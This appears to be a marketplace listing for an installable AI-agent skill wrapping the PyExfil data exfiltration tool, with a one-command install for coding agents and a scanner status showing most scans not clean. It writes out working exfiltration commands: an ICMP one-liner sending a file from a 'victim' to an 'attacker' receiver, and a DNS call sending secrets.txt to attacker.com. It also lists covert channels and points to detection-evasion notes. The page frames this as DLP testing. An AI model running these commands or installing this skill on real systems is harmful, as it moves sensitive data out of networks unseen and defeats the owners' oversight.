offensive-tools/data-exfiltration/pyexfil/SKILL.md
Multi-channel data exfiltration tool supporting 20+ covert channels (ICMP, DNS, HTTPS, SMTP, Slack, QUIC). Use when testing DLP controls or exfiltrating data through unconventional protocols.
npx skillsauth add aeondave/malskill pyexfilInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Multi-channel exfiltration — 20+ covert channels for DLP testing and red-team ops.
pip install pyexfil
# ICMP exfil — sender (victim)
python -c "from pyexfil.network.ICMP.icmp_exfil import Send; Send('192.168.1.100', open('file.zip','rb').read())"
# ICMP receiver (attacker)
python -c "from pyexfil.network.ICMP.icmp_exfil import Receive; Receive('0.0.0.0', 'out.zip')"
| Channel | Module path |
|---------|-------------|
| ICMP | network.ICMP |
| DNS | network.DNS |
| HTTPS POST | network.HTTPS |
| SMTP | network.SMTP_email |
| Slack | application.Slack |
| FTP STOR | network.FTP |
| NTP | network.NTP |
| BGP | network.BGP |
| QUIC | network.QUIC |
| audio (microphone) | physical.audio |
DNS exfil:
from pyexfil.network.DNS.dns_exfil import Send
Send(nameserver='attacker.com', data=open('secrets.txt','rb').read())
Test all channels systematically:
# Use individual module scripts in pyexfil/network/
python pyexfil/network/ICMP/icmp_exfil.py --help
| File | When to load |
|------|--------------|
| references/ | Channel setup and detection evasion notes |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.